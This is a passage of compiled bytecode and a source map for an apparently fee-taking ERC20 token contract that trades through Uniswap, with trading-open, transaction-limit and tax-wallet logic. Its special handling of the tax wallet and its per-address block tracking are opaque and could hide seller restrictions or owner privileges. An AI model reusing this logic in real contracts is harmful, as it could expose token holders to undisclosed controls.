9600a61189c565b61059e90633b9aca006118aa565b600d557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105ce6009600a61189c565b6105dc90633b9aca006118aa565b60405190815260200160405180910390a1565b6010546001600160a01b0316336001600160a01b03161461060e575f80fd5b5f471161064f5760405162461bcd60e51b815260206004820152600f60248201526e27379022aa24103a379031b632b0b960891b60448201526064016104ed565b6010546040516001600160a01b03909116904780156108fc02915f818181858888f19350505050158015610685573d5f803e3d5ffd5b50565b5f6103cc338484610b59565b5f546001600160a01b031633146106bd5760405162461bcd60e51b81526004016104ed906118c1565b60145460ff16156107105760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104ed565b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561075990309061074b6009600a61189c565b61044e90633b9aca006118aa565b6014805460ff191660011790556011546040805163c45a015560e01b815290516001600160a01b039092169163c45a0155916004808201926020929091908290030181865afa1580156107ae573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107d291906118f6565b6001600160a01b031663c9c653963060115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610831573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061085591906118f6565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561089f573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108c391906118f6565b601280546001600160a01b039283166001600160a01b03199091161790556011541663f305d719473061090a816001600160a01b03165f9081526001602052604090205490565b5f8061091d5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610983573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906109a89190611911565b505060125460115460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af11580156109fd573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a21919061193c565b506014805462ff0000191662010000179055565b6001600160a01b038316610a975760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104ed565b6001600160a01b038216610af85760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104ed565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610bbd5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104ed565b6001600160a01b038216610c1f5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104ed565b5f8111610c805760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104ed565b60145460ff161580610c995750601454610100900460ff165b15610cae57610ca98383836112d2565b505050565b5f80546001600160a01b03858116911614801590610cd957505f546001600160a01b03848116911614155b8015610cf357506010546001600160a01b03848116911614155b15610f4957610d246064610d1e600854600b5411610d1357600454610d17565b6006545b8590611375565b906113fa565b6012549091506001600160a01b038581169116148015610d5257506011546001600160a01b03848116911614155b8015610d7657506001600160a01b0383165f9081526003602052604090205460ff16155b15610e5c57600c54821115610dcd5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016104ed565b600d5482610def856001600160a01b03165f9081526001602052604090205490565b610df9919061195b565b1115610e475760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104ed565b600b8054905f610e568361196e565b91905055505b6012546001600160a01b038481169116148015610e8257506001600160a01b0384163014155b15610eaf57610eac6064610d1e600954600b5411610ea257600554610d17565b6007548590611375565b90505b305f90815260016020526040902054601454610100900460ff16158015610ee357506012546001600160a01b038581169116145b8015610ef7575060145462010000900460ff165b8015610f045750600e5481115b8015610f135750600a54600b54115b15610f4757610f35610f3084610f2b84600f5461143b565b61143b565b611131565b478015610f4557610f454761129b565b505b505b6001600160a01b0384165f9081526003602052604090205460ff1680610f8657506001600160a01b0383165f9081526003602052604090205460ff165b8015610f9b57506001600160a01b0384163014155b8015610fb057506001600160a01b0383163014155b15610fba57436015555b6001600160a01b0384165f9081526003602052604090205460ff16158015610ffa57506001600160a01b0383165f9081526003602052604090205460ff16155b156110e7576012546001600160a01b038481169116146110a3576001600160a01b038084165f90815260166020526040902060125490919081169086160361106b5780545f0361106657600a54600b5411156110585743815561109d565b611063600143611986565b81555b61109d565b6001600160a01b0385165f90815260166020526040902081541580611091575081548154105b1561109b57805482555b505b506110e7565b60145462010000900460ff16156110e7576001600160a01b0384165f90815260166020526040902060155481546110da9190611986565b6002820155426001909101555b6110f38484848461144f565b50505050565b5f818484111561111c5760405162461bcd60e51b81526004016104ed91906116a5565b505f6111288486611986565b95945050505050565b6014805461ff0019166101001790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061117357611173611999565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156111ca573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906111ee91906118f6565b8160018151811061120157611201611999565b6001600160a01b0392831660209182029290920101526011546112279130911684610a35565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac9479061125f9085905f908690309042906004016119ad565b5f604051808303815f87803b158015611276575f80fd5b505af1158015611288573d5f803e3d5ffd5b50506014805461ff001916905550505050565b6010546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156104c0573d5f803e3d5ffd5b6001600160a01b0383165f908152600160205260409020546112f49082611479565b6001600160a01b038085165f90815260016020526040808220939093559084168152205461132290826114ba565b6001600160a01b038084165f8181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610b4c9085815260200190565b5f825f0361138457505f6103d0565b5f61138f83856118aa565b90508261139c8583611a1e565b146113f35760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104ed565b9392505050565b5f6113f383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611518565b5f81831161144957826113f3565b50919050565b5f61145b858484611544565b905061147285858361146d8787611479565b6115f4565b5050505050565b5f6113f383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506110f9565b5f806114c6838561195b565b9050838110156113f35760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104ed565b5f81836115385760405162461bcd60e51b81526004016104ed91906116a5565b505f6111288486611a1e565b6010545f9081906001600160a01b03908116908616036115705760135461156b9085611375565b611572565b835b905082156115ec57305f9081526001602052604090205461159390846114ba565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906115e39087815260200190565b60405180910390a35b949350505050565b6001600160a01b0384165f908152600160205260409020546116169083611479565b6001600160a01b038086165f90815260016020526040808220939093559085168152205461164490826114ba565b6001600160a01b038085165f8181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906116979085815260200190565b60405180910390a350505050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610685575f80fd5b5f80604083850312156116ff575f80fd5b823561170a816116da565b946020939093013593505050565b5f805f6060848603121561172a575f80fd5b8335611735816116da565b92506020840135611745816116da565b929592945050506040919091013590565b5f60208284031215611766575f80fd5b81356113f3816116da565b5f8060408385031215611782575f80fd5b823561178d816116da565b9150602083013561179d816116da565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156117f657815f19048211156117dc576117dc6117a8565b808516156117e957918102915b93841c93908002906117c1565b509250929050565b5f8261180c575060016103d0565b8161181857505f6103d0565b816001811461182e576002811461183857611854565b60019150506103d0565b60ff841115611849576118496117a8565b50506001821b6103d0565b5060208310610133831016604e8410600b8410161715611877575081810a6103d0565b61188183836117bc565b805f1904821115611894576118946117a8565b029392505050565b5f6113f360ff8416836117fe565b80820281158282048414176103d0576103d06117a8565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f60208284031215611906575f80fd5b81516113f3816116da565b5f805f60608486031215611923575f80fd5b8351925060208401519150604084015190509250925092565b5f6020828403121561194c575f80fd5b815180151581146113f3575f80fd5b808201808211156103d0576103d06117a8565b5f6001820161197f5761197f6117a8565b5060010190565b818103818111156103d0576103d06117a8565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156119fd5784516001600160a01b0316835293830193918301916001016119d8565b50506001600160a01b03969096166060850152505050608001529392505050565b5f82611a3857634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122031f82522c875a052e60410ec4e65d99ff6a9986d2520df2dcc19457d7cae45b264736f6c63430008190033
Deployed Bytecode Sourcemap
3650:10532:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5625:83;;;;;;;;;;-1:-1:-1;5695:5:0;;;;;;;;;;;;-1:-1:-1;;;5695:5:0;;;;5625:83;;;;;;;:::i;:::-;;;;;;;;6458:161;;;;;;;;;;-1:-1:-1;6458:161:0;;;;;:::i;:::-;;:::i;:::-;;;1058:14:1;;1051:22;1033:41;;1021:2;1006:18;6458:161:0;893:187:1;4646:52:0;;;;;;;;;;;;;;;;;;;1231:25:1;;;1219:2;1204:18;4646:52:0;1085:177:1;5902:95:0;;;;;;;;;;;;;:::i;6627:363::-;;;;;;;;;;-1:-1:-1;6627:363:0;;;;;:::i;:::-;;:::i;5811:83::-;;;;;;;;;;-1:-1:-1;5811:83:0;;4381:1;1870:36:1;;1858:2;1843:18;5811:83:0;1728:184:1;4803:28:0;;;;;;;;;;-1:-1:-1;4803:28:0;;;;-1:-1:-1;;;;;4803:28:0;;;;;;-1:-1:-1;;;;;2081:32:1;;;2063:51;;2051:2;2036:18;4803:28:0;1917:203:1;13533:365:0;;;;;;;;;;;;;:::i;:::-;;6005:119;;;;;;;;;;-1:-1:-1;6005:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6098:18:0;6071:7;6098:18;;;:9;:18;;;;;;;6005:119;2729:148;;;;;;;;;;;;;:::i;12586:161::-;;;;;;;;;;;;;:::i;4457:54::-;;;;;;;;;;;;;;;;2515:79;;;;;;;;;;-1:-1:-1;2553:7:0;2580:6;-1:-1:-1;;;;;2580:6:0;2515:79;;13941:238;;;;;;;;;;;;;:::i;4518:56::-;;;;;;;;;;;;;;;;5716:87;;;;;;;;;;-1:-1:-1;5788:7:0;;;;;;;;;;;;-1:-1:-1;;;5788:7:0;;;;5716:87;;6132:167;;;;;;;;;;-1:-1:-1;6132:167:0;;;;;:::i;:::-;;:::i;4581:58::-;;;;;;;;;;;;;;;;12855:670;;;;;;;;;;;;;:::i;6307:143::-;;;;;;;;;;-1:-1:-1;6307:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6415:18:0;;;6388:7;6415:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6307:143;6458:161;6533:4;6550:39;193:10;6573:7;6582:6;6550:8;:39::i;:::-;-1:-1:-1;6607:4:0;6458:161;;;;;:::o;5902:95::-;5955:7;4437:13;4381:1;4437:2;:13;:::i;:::-;4424:26;;:10;:26;:::i;:::-;5975:14;;5902:95;:::o;6627:363::-;6725:4;6742:36;6752:6;6760:9;6771:6;6742:9;:36::i;:::-;6789:171;6812:6;193:10;6860:89;6898:6;6860:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6860:19:0;;;;;;:11;:19;;;;;;;;193:10;6860:33;;;;;;;;;;:37;:89::i;:::-;6789:8;:171::i;:::-;-1:-1:-1;6978:4:0;6627:363;;;;;:::o;13533:365::-;13597:10;;-1:-1:-1;;;;;13597:10:0;193;-1:-1:-1;;;;;13583:24:0;;13575:33;;;;;;13658:4;13619:20;6098:18;;;:9;:18;;;;;;13678:14;;;;;:30;;-1:-1:-1;13697:11:0;;;;;;;13678:30;13675:90;;;13723:30;13740:12;13723:16;:30::i;:::-;13794:21;13829:12;;13826:65;;13855:24;13868:10;13855:12;:24::i;:::-;13564:334;;13533:365::o;2729:148::-;2642:6;;-1:-1:-1;;;;;2642:6:0;193:10;2642:22;2634:67;;;;-1:-1:-1;;;2634:67:0;;;;;;;:::i;:::-;;;;;;;;;2836:1:::1;2820:6:::0;;2799:40:::1;::::0;-1:-1:-1;;;;;2820:6:0;;::::1;::::0;2799:40:::1;::::0;2836:1;;2799:40:::1;2867:1;2850:19:::0;;-1:-1:-1;;;;;;2850:19:0::1;::::0;;2729:148::o;12586:161::-;2642:6;;-1:-1:-1;;;;;2642:6:0;193:10;2642:22;2634:67;;;;-1:-1:-1;;;2634:67:0;;;;;;;:::i;:::-;4437:13:::1;4381:1;4437:2;:13;:::i;:::-;4424:26;::::0;:10:::1;:26;:::i;:::-;12642:12;:21:::0;4437:13:::1;4381:1;4437:2;:13;:::i;:::-;4424:26;::::0;:10:::1;:26;:::i;:::-;12674:14;:22:::0;12712:27:::1;4437:13;4381:1;4437:2;:13;:::i;:::-;4424:26;::::0;:10:::1;:26;:::i;:::-;12712:27;::::0;1231:25:1;;;1219:2;1204:18;12712:27:0::1;;;;;;;12586:161::o:0;13941:238::-;14005:10;;-1:-1:-1;;;;;14005:10:0;193;-1:-1:-1;;;;;13991:24:0;;13983:33;;;;;;14073:1;14049:21;:25;14027:91;;;;-1:-1:-1;;;14027:91:0;;5015:2:1;14027:91:0;;;4997:21:1;5054:2;5034:18;;;5027:30;-1:-1:-1;;;5073:18:1;;;5066:45;5128:18;;14027:91:0;4813:339:1;14027:91:0;14129:10;;:42;;-1:-1:-1;;;;;14129:10:0;;;;14149:21;14129:42;;;;;:10;:42;:10;:42;14149:21;14129:10;:42;;;;;;;;;;;;;;;;;;;;;13941:238::o;6132:167::-;6210:4;6227:42;193:10;6251:9;6262:6;6227:9;:42::i;12855:670::-;2642:6;;-1:-1:-1;;;;;2642:6:0;193:10;2642:22;2634:67;;;;-1:-1:-1;;;2634:67:0;;;;;;;:::i;:::-;12919:11:::1;::::0;::::1;;12918:12;12910:47;;;::::0;-1:-1:-1;;;12910:47:0;;5359:2:1;12910:47:0::1;::::0;::::1;5341:21:1::0;5398:2;5378:18;;;5371:30;5437:25;5417:18;;;5410:53;5480:18;;12910:47:0::1;5157:347:1::0;12910:47:0::1;12968:15;:80:::0;;-1:-1:-1;;;;;;12968:80:0::1;13005:42;12968:80:::0;;::::1;::::0;;;13059:57:::1;::::0;13076:4:::1;::::0;4437:13:::1;4381:1;4437:2;:13;:::i;:::-;4424:26;::::0;:10:::1;:26;:::i;13059:57::-;13127:11;:18:::0;;-1:-1:-1;;13127:18:0::1;13141:4;13127:18;::::0;;13190:15:::1;::::0;:25:::1;::::0;;-1:-1:-1;;;13190:25:0;;;;-1:-1:-1;;;;;13190:15:0;;::::1;::::0;:23:::1;::::0;:25:::1;::::0;;::::1;::::0;::::1;::::0;;;;;;;;;:15;:25:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;13172:55:0::1;;13236:4;13242:15;;;;;;;;;-1:-1:-1::0;;;;;13242:15:0::1;-1:-1:-1::0;;;;;13242:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13172:93;::::0;-1:-1:-1;;;;;;13172:93:0::1;::::0;;;;;;-1:-1:-1;;;;;5995:15:1;;;13172:93:0::1;::::0;::::1;5977:34:1::0;6047:15;;6027:18;;;6020:43;5912:18;;13172:93:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13156:13;:109:::0;;-1:-1:-1;;;;;13156:109:0;;::::1;-1:-1:-1::0;;;;;;13156:109:0;;::::1;;::::0;;13276:15:::1;::::0;::::1;:31;13315:21;13346:4;13352:24;13346:4:::0;-1:-1:-1;;;;;6098:18:0;6071:7;6098:18;;;:9;:18;;;;;;;6005:119;13352:24:::1;13377:1;13379::::0;13381:7:::1;2553::::0;2580:6;-1:-1:-1;;;;;2580:6:0;;2515:79;13381:7:::1;13276:130;::::0;::::1;::::0;;;-1:-1:-1;;;;;;13276:130:0;;;-1:-1:-1;;;;;6433:15:1;;;13276:130:0::1;::::0;::::1;6415:34:1::0;6465:18;;;6458:34;;;;6508:18;;;6501:34;;;;6551:18;;;6544:34;6615:15;;;6594:19;;;6587:44;13390:15:0::1;6647:19:1::0;;;6640:35;6349:19;;13276:130:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;13424:13:0::1;::::0;13455:15:::1;::::0;13417:71:::1;::::0;-1:-1:-1;;;13417:71:0;;-1:-1:-1;;;;;13455:15:0;;::::1;13417:71;::::0;::::1;7171:51:1::0;-1:-1:-1;;7238:18:1;;;7231:34;13424:13:0;::::1;::::0;-1:-1:-1;13417:29:0::1;::::0;7144:18:1;;13417:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;13499:11:0::1;:18:::0;;-1:-1:-1;;13499:18:0::1;::::0;::::1;::::0;;12855:670::o;6998:335::-;-1:-1:-1;;;;;7091:19:0;;7083:68;;;;-1:-1:-1;;;7083:68:0;;7760:2:1;7083:68:0;;;7742:21:1;7799:2;7779:18;;;7772:30;7838:34;7818:18;;;7811:62;-1:-1:-1;;;7889:18:1;;;7882:34;7933:19;;7083:68:0;7558:400:1;7083:68:0;-1:-1:-1;;;;;7170:21:0;;7162:68;;;;-1:-1:-1;;;7162:68:0;;8165:2:1;7162:68:0;;;8147:21:1;8204:2;8184:18;;;8177:30;8243:34;8223:18;;;8216:62;-1:-1:-1;;;8294:18:1;;;8287:32;8336:19;;7162:68:0;7963:398:1;7162:68:0;-1:-1:-1;;;;;7241:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7293:32;;1231:25:1;;;7293:32:0;;1204:18:1;7293:32:0;;;;;;;;6998:335;;;:::o;7602:3306::-;-1:-1:-1;;;;;7695:18:0;;7687:68;;;;-1:-1:-1;;;7687:68:0;;8568:2:1;7687:68:0;;;8550:21:1;8607:2;8587:18;;;8580:30;8646:34;8626:18;;;8619:62;-1:-1:-1;;;8697:18:1;;;8690:35;8742:19;;7687:68:0;8366:401:1;7687:68:0;-1:-1:-1;;;;;7774:16:0;;7766:64;;;;-1:-1:-1;;;7766:64:0;;8974:2:1;7766:64:0;;;8956:21:1;9013:2;8993:18;;;8986:30;9052:34;9032:18;;;9025:62;-1:-1:-1;;;9103:18:1;;;9096:33;9146:19;;7766:64:0;8772:399:1;7766:64:0;7863:1;7851:11;:13;7843:67;;;;-1:-1:-1;;;7843:67:0;;9378:2:1;7843:67:0;;;9360:21:1;9417:2;9397:18;;;9390:30;9456:34;9436:18;;;9429:62;-1:-1:-1;;;9507:18:1;;;9500:39;9556:19;;7843:67:0;9176:405:1;7843:67:0;7928:11;;;;7927:12;;:22;;-1:-1:-1;7943:6:0;;;;;;;7927:22;7923:114;;;7967:37;7982:4;7988:2;7992:11;7967:14;:37::i;:::-;7602:3306;;;:::o;7923:114::-;8049:17;2580:6;;-1:-1:-1;;;;;8083:15:0;;;2580:6;;8083:15;;;;:32;;-1:-1:-1;2553:7:0;2580:6;-1:-1:-1;;;;;8102:13:0;;;2580:6;;8102:13;;8083:32;:52;;;;-1:-1:-1;8125:10:0;;-1:-1:-1;;;;;8119:16:0;;;8125:10;;8119:16;;8083:52;8079:1374;;;8164:119;8279:3;8164:92;8211:15;;8199:9;;:27;8198:57;;8241:14;;8198:57;;;8228:12;;8198:57;8164:11;;:33;:92::i;:::-;:114;;:119::i;:::-;8312:13;;8152:131;;-1:-1:-1;;;;;;8304:21:0;;;8312:13;;8304:21;:55;;;;-1:-1:-1;8343:15:0;;-1:-1:-1;;;;;8329:30:0;;;8343:15;;8329:30;;8304:55;:84;;;;-1:-1:-1;;;;;;8366:22:0;;;;;;:18;:22;;;;;;;;8364:24;8304:84;8300:322;;;8432:12;;8417:11;:27;;8409:65;;;;-1:-1:-1;;;8409:65:0;;9788:2:1;8409:65:0;;;9770:21:1;9827:2;9807:18;;;9800:30;9866:27;9846:18;;;9839:55;9911:18;;8409:65:0;9586:349:1;8409:65:0;8531:14;;8517:11;8501:13;8511:2;-1:-1:-1;;;;;6098:18:0;6071:7;6098:18;;;:9;:18;;;;;;;6005:119;8501:13;:27;;;;:::i;:::-;:44;;8493:83;;;;-1:-1:-1;;;8493:83:0;;10272:2:1;8493:83:0;;;10254:21:1;10311:2;10291:18;;;10284:30;10350:28;10330:18;;;10323:56;10396:18;;8493:83:0;10070:350:1;8493:83:0;8595:9;:11;;;:9;:11;;;:::i;:::-;;;;;;8300:322;8645:13;;-1:-1:-1;;;;;8641:17:0;;;8645:13;;8641:17;:41;;;;-1:-1:-1;;;;;;8662:20:0;;8677:4;8662:20;;8641:41;8638:221;;;8715:128;8839:3;8715:97;8764:16;;8754:9;;:26;8753:58;;8796:15;;8753:58;;;8782:13;;8715:11;;:37;:97::i;:128::-;8703:140;;8638:221;8924:4;8875:28;6098:18;;;:9;:18;;;;;;8968:6;;;;;;;8967:7;:47;;;;-1:-1:-1;9001:13:0;;-1:-1:-1;;;;;8995:19:0;;;9001:13;;8995:19;8967:47;:62;;;;-1:-1:-1;9018:11:0;;;;;;;8967:62;:123;;;;;9073:17;;9050:20;:40;8967:123;:157;;;;;9106:18;;9094:9;;:30;8967:157;8945:497;;;9159:74;9176:56;9180:11;9193:38;9197:20;9219:11;;9193:3;:38::i;:::-;9176:3;:56::i;:::-;9159:16;:74::i;:::-;9281:21;9325:22;;9321:106;;9372:35;9385:21;9372:12;:35::i;:::-;9140:302;8945:497;8137:1316;8079:1374;-1:-1:-1;;;;;9469:24:0;;;;;;:18;:24;;;;;;;;;:50;;-1:-1:-1;;;;;;9497:22:0;;;;;;:18;:22;;;;;;;;9469:50;9468:75;;;;-1:-1:-1;;;;;;9524:19:0;;9538:4;9524:19;;9468:75;:97;;;;-1:-1:-1;;;;;;9547:18:0;;9560:4;9547:18;;9468:97;9465:159;;;9600:12;9582:15;:30;9465:159;-1:-1:-1;;;;;9652:24:0;;;;;;:18;:24;;;;;;;;9651:25;:66;;;;-1:-1:-1;;;;;;9695:22:0;;;;;;:18;:22;;;;;;;;9694:23;9651:66;9634:1209;;;9747:13;;-1:-1:-1;;;;;9747:19:0;;;:13;;:19;9743:1089;;-1:-1:-1;;;;;9823:15:0;;;9788:32;9823:15;;;:11;:15;;;;;9869:13;;9823:15;;9869:13;;;9861:21;;;;9857:696;;9911:21;;;:26;9907:315;;9980:18;;9970:9;;:28;9966:233;;;10055:12;10031:36;;9857:696;;9966:233;10156:15;10170:1;10156:12;:15;:::i;:::-;10132:39;;9966:233;9857:696;;;-1:-1:-1;;;;;10308:17:0;;10270:35;10308:17;;;:11;:17;;;;;10354:21;;:25;;10352:80;;-1:-1:-1;10411:21:0;;10384:24;;:48;10352:80;10348:186;;;10486:24;;10462:48;;10348:186;10247:306;9857:696;9769:799;9743:1089;;;10578:11;;;;;;;10574:258;;;-1:-1:-1;;;;;10648:17:0;;10610:35;10648:17;;;:11;:17;;;;;10736:15;;10711:24;;:40;;10736:15;10711:40;:::i;:::-;10684:24;;;:67;10801:15;10770:28;;;;:46;10574:258;10855:45;10870:4;10875:2;10878:11;10890:9;10855:14;:45::i;:::-;7676:3232;7602:3306;;;:::o;1385:190::-;1471:7;1507:12;1499:6;;;;1491:29;;;;-1:-1:-1;;;1491:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1531:9:0;1543:5;1547:1;1543;:5;:::i;:::-;1531:17;1385:190;-1:-1:-1;;;;;1385:190:0:o;12095:483::-;5246:6;:13;;-1:-1:-1;;5246:13:0;;;;;12197:16:::1;::::0;;12211:1:::1;12197:16:::0;;;;;::::1;::::0;;-1:-1:-1;;12197:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;12197:16:0::1;12173:40;;12242:4;12224;12229:1;12224:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12224:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;12268:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;12268:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;12224:7;;12268:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12258:4;12263:1;12258:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12258:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;12333:15:::1;::::0;12301:62:::1;::::0;12318:4:::1;::::0;12333:15:::1;12351:11:::0;12301:8:::1;:62::i;:::-;12374:15;::::0;:196:::1;::::0;-1:-1:-1;;;12374:196:0;;-1:-1:-1;;;;;12374:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;12455:11;;12374:15:::1;::::0;12497:4;;12524::::1;::::0;12544:15:::1;::::0;12374:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5282:6:0;:14;;-1:-1:-1;;5282:14:0;;;-1:-1:-1;;;;12095:483:0:o;12755:92::-;12812:10;;:27;;-1:-1:-1;;;;;12812:10:0;;;;:27;;;;;12832:6;;12812:10;:27;:10;:27;12832:6;12812:10;:27;;;;;;;;;;;;;;;;;;;7341:253;-1:-1:-1;;;;;7450:15:0;;;;;;:9;:15;;;;;;:32;;7470:11;7450:19;:32::i;:::-;-1:-1:-1;;;;;7432:15:0;;;;;;;:9;:15;;;;;;:50;;;;7509:13;;;;;;;:30;;7527:11;7509:17;:30::i;:::-;-1:-1:-1;;;;;7493:13:0;;;;;;;:9;:13;;;;;;;:46;;;;7555:31;;;;;;;;;;7574:11;1231:25:1;;1219:2;1204:18;;1085:177;1583:246:0;1641:7;1665:1;1670;1665:6;1661:47;;-1:-1:-1;1695:1:0;1688:8;;1661:47;1718:9;1730:5;1734:1;1730;:5;:::i;:::-;1718:17;-1:-1:-1;1763:1:0;1754:5;1758:1;1718:17;1754:5;:::i;:::-;:10;1746:56;;;;-1:-1:-1;;;1746:56:0;;12371:2:1;1746:56:0;;;12353:21:1;12410:2;12390:18;;;12383:30;12449:34;12429:18;;;12422:62;-1:-1:-1;;;12500:18:1;;;12493:31;12541:19;;1746:56:0;12169:397:1;1746:56:0;1820:1;1583:246;-1:-1:-1;;;1583:246:0:o;1837:132::-;1895:7;1922:39;1926:1;1929;1922:39;;;;;;;;;;;;;;;;;:3;:39::i;11987:100::-;12044:7;12073:1;12069;:5;12068:11;;12078:1;12068:11;;;-1:-1:-1;12076:1:0;11987:100;-1:-1:-1;11987:100:0:o;10916:302::-;11069:15;11086:47;11104:4;11110:11;11123:9;11086:17;:47::i;:::-;11069:64;-1:-1:-1;11144:66:0;11164:4;11170:2;11069:64;11183:26;:11;11199:9;11183:15;:26::i;:::-;11144:19;:66::i;:::-;11058:160;10916:302;;;;:::o;1243:136::-;1301:7;1328:43;1332:1;1335;1328:43;;;;;;;;;;;;;;;;;:3;:43::i;1056:179::-;1114:7;;1146:5;1150:1;1146;:5;:::i;:::-;1134:17;;1175:1;1170;:6;;1162:46;;;;-1:-1:-1;;;1162:46:0;;12773:2:1;1162:46:0;;;12755:21:1;12812:2;12792:18;;;12785:30;12851:29;12831:18;;;12824:57;12898:18;;1162:46:0;12571:351:1;1977:189:0;2063:7;2098:12;2091:5;2083:28;;;;-1:-1:-1;;;2083:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2122:9:0;2134:5;2138:1;2134;:5;:::i;11560:417::-;11706:10;;11659:7;;;;-1:-1:-1;;;;;11706:10:0;;;11697:19;;;;:65;;11733:12;;:29;;11750:11;11733:16;:29::i;:::-;11697:65;;;11719:11;11697:65;11679:83;-1:-1:-1;11777:13:0;;11773:172;;11852:4;11834:24;;;;:9;:24;;;;;;:39;;11863:9;11834:28;:39::i;:::-;11825:4;11807:24;;;;:9;:24;;;;;;;:66;;;;11893:40;;-1:-1:-1;;;;;11893:40:0;;;;;;;11923:9;1231:25:1;;1219:2;1204:18;;1085:177;11893:40:0;;;;;;;;11773:172;11962:7;11560:417;-1:-1:-1;;;;11560:417:0:o;11226:326::-;-1:-1:-1;;;;;11404:15:0;;;;;;:9;:15;;;;;;:31;;11424:10;11404:19;:31::i;:::-;-1:-1: